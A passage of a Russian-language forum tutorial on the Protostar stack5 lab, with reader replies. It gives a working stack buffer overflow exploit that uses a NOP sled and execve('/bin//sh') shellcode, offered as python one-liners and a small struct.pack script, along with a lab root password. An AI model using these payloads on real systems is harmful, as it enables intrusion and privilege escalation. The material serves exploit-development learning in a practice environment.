Поэтому, их надо заменить, но тут вопрос, чем их заметить? Есть такая инструкция процессора, как NOP. Опкод этой инструкции равен 0x90. Эта инструкция обозначает ничего, т.е. нет операции, пусто. Последовательность байтов из 0x90 называется . Поэтому при выполнение программы когда процессор дойдет до выполнение инструкции NOP ничего не будет выполнено. По сути он пропустит этот опкод и перейдет к следующей инструкции. Тут главное еще то, что их должно быть не меньше 12 байт. Тогда шеллкод не выполнится. А если их будет 12 байт или больше, то шеллкод все равно отработает, мы можем хоть 100 байтов (0x90) запихнуть в стек. Да хоть 500 байтов!!! Всё равно отработает наш шеллкод, как положено. Желательно, конечно, чтобы их было больше 12...

Выходим из отладчика и создаем другой файл-эксплойт
python -c "print 'a'*76 + '\xbf\xff\xfc\xdc'[::-1] + '\x90'*12 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'" > ~/gdb_exploit2.txt

запускаем
Код:
gdb -q ./stack5
run < ~/exploit.txt
Посмотреть вложение 27964

Отлично наш шеллкод снова выполнился.

Если мы попробуем запустить файл-эксплойт в не отладчика GDB, то он не выполнится, все дело в том, что при запуске программы под отладчиком, адреса в стеке смещаются. Поэтому будем допиливать наш эксплойт, надо просто подправить адрес возврата. Чтобы получить другой адрес возврата на шеллкод. Нам нужен дамп памяти.

И так запускаем второе окно Putty и коннектимся по ssh с логином root и паролем godmode

И так выполняем следующие команды для того, чтобы получить дамп памяти.
Код:
echo 2 > /proc/sys/fs/suid_dumpable
ulimit -c unlimited
cd /tmp - переходим в каталог где появится дамп памяти

Создаем файл-эксплойт, где шеллкод расположен в буфере
python -c "print 'a'*12 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + 'a'*36 + '\x41\x42\x43\x44'[::-1]" > /tmp/exploit.txt
Код:
cat exploit.txt | /opt/protostar/bin/stack5
Получаем дамп памяти
Segmentation fault (core dumped)

ls -l - смотрим название дампа памяти
gdb /opt/protostar/bin/stack5 core.11.stack5.10970 - запускаем отладчик с программой и дампом памяти
x/32x $esp-80 - смотрим память стека

Посмотреть вложение 28003

Новый адрес шеллкода теперь 0xbffffc80

Немного подкорректируем наш эксплойт

python -c "print 'a'*16 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + 'a'*32 + '\xbf\xff\xfc\x80'[::-1]" > exploit.txt

Хотя от того что мы в начале добавили 4 байта, а там отняли ничего не меняется. Самое главное тут адрес.
Код:
(cat exploit.txt ; cat) | /opt/protostar/bin/stack5
Посмотреть вложение 28002

Теперь при запуске эксплойта, мы не получаем ошибку... сегментации памяти. Хоть мы и сидим под рутом, но оболочк мы все же получили.

Теперь займемся другим эксплойтом создаем файл.

python -c "print 'a'*76 + '\x41\x42\x43\x44'[::-1] + '\x90'*12 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'" > /tmp/exploit2.txt
Код:
cat exploit2.txt | /opt/protostar/bin/stack5
Получаем дамп памяти
Segmentation fault (core dumped)

ls -l - смотрим название дампа памяти
Код:
gdb /opt/protostar/bin/stack5 core.11.stack5.11035
x/32x $esp
Посмотреть вложение 28001

Адрес у нас есть 0xbffffcc0 добавим к нему +80, чтобы те байты которые находятся за RET адресом, исполнились, т.е. там где находится наш шеллкод.

Возвращаем к putty окну где мы зашли под user.

Теперь напишем более реалистичный эксплойт, будем использовать модуль , в котором есть функция pack() для работы со структурами данных.
nano exploit.py
Python:
from struct import pack
trash = 'a'*76
eip = pack("I", 0xbffffcc0+80)
nops = "\x90" *100
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print trash+eip+nops+shellcode

Нажимаем f2,y,enter.

Далее выполняем следующее...
Код:
whoami
id
(python exploit.py ; cat) | ./opt/protostar/bin/stack5
id
whoami
...

Посмотреть вложение 28005

Как видите эксплойт успешно отработал, мы получили оболочку с правами root и можем выполнять различные команды...

Ну или можно было сделать так.

Посмотреть вложение 28006

Закрываем оболочку нажатием комбинацией клавиш
Код:
Ctrl+C
Так же хочу сказать, что некоторые моменты в статье опущены специально, но мы их разберем в свое время. В задании говорилось об инструкции int 3, опкод этой инструкции 0xCC, этот опкод останавливает выполнение программы вызывая исключение, как точка останова, если в коде есть такой опкод, и вы запускаете программу под отладчиком, отладчик может принять, этот опкод, за точку за свою точку останова, иногда это используется, как антиотладочный прием. Теперь можно переходить на следующий уровень .
Доброго времени.
1. Огромное спасибо за труды. Сейчас таски немножко отличаются, но суть та же. Приятно, что кто-то делает пояснения на русском.
2. Уже задавали вопрос выше, но, даже прочитав ответ, не могу разобраться. Не мог бы кто-нибудь объяснить танкисту, почему все-таки, если мы смотрим содержимое от начала стека, мы сразу получаем адрес возврата, а строку из букв "а" мы видим до вершины стека. Я уяснил, что регистр - это не часть памяти а, грубо говоря, переменная. Но это не облегчает понимание. Я до сих пор думал, что сначала идет адрес вершины стека, затем локальные переменные(в т.ч. и наш буфер), затем rbp и уже там наш переписанный адрес возврата.
Единственное объяснение, которое могу сам предложить, это происходит потому-что при выходе из функции сохраненный адрес rbp заменяется на rsp для выталкивания данных функции из стека. И как раз в этот момент мы совершаем останов. Но, фактически, вершина стека осталась на прежнем месте. Изменилось только значение регистра rsp. Таким образом, следующий адрес после rsp как раз получается "адрес возврата", который мы переписали.
Ну вот, пока писал вопрос, кажется, сам разобрался)
Поправьте, плз, если не прав.
Даже если так, остается вопрос. Когда мы переписываем rbp при выталкивании данных из стека, наша строка "ааааааа..." остается за пределами стека, но мы ее тем-не-менее видим. Почему мы видим адрес за пределами стека?
Попробую опять ответить сам. Потому что "пределы стека" остаются прежними, пока мы не вышли из функции. А на данном этапе мы еще не вышли из функции, соответственно имеем доступ ко всему стеку. После возврата из функции, строка "ааа..." уже будет за пределами стека и при попытке доступа, мы получим segmentation fault...
 

DrFaust

New member
14.08.2019
2
0
BIT
0
Что-то у меня ни один шеллкод не выполняется, везде segmentation fault. Всё перепроверил дважды.

И с адресами что-то странное. Например, адрес возврата (ret) из главной функции такой как в статье (0x080483da), а в стеке данные оказываются смещены на 16 байт. Там, где у тебя EIP в 0xbffffccc, у меня 0xbffffcbc. А в примере, где прога запускается с дампом памяти, стек вообще другой, 0x41424344 не могу найти.
Столкнулся с такой же проблемой, решил проблему указав адрес смещенный на 16 байт, т.е. при создании первого эксплоита вместо
Python:
python -c "print 'a'*12 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + 'a'*36 + '\xbf\xff\xfc\x8c'[::-1]" > ~/gdb_exploit.txt
написал в конце смещенный адрес:
Python:
python -c "print 'a'*12 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + 'a'*36 + '\xbf\xff\xfc\x7c'[::-1]" > ~/gdb_exploit.txt
Во втором случае вместо
Python:
python -c "print 'a'*76 + '\xbf\xff\xfc\xdc'[::-1] + '\x90'*12 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'" > ~/gdb_exploit2.txt
указал
Python:
python -c "print 'a'*76 + '\xbf\xff\xfc\xсc'[::-1] + '\x90'*12 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'" > ~/gdb_exploit2.txt
Как написал автор поста смысл в том, чтобы указать адрес в котором хранится shellcode и тогда все заработает.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!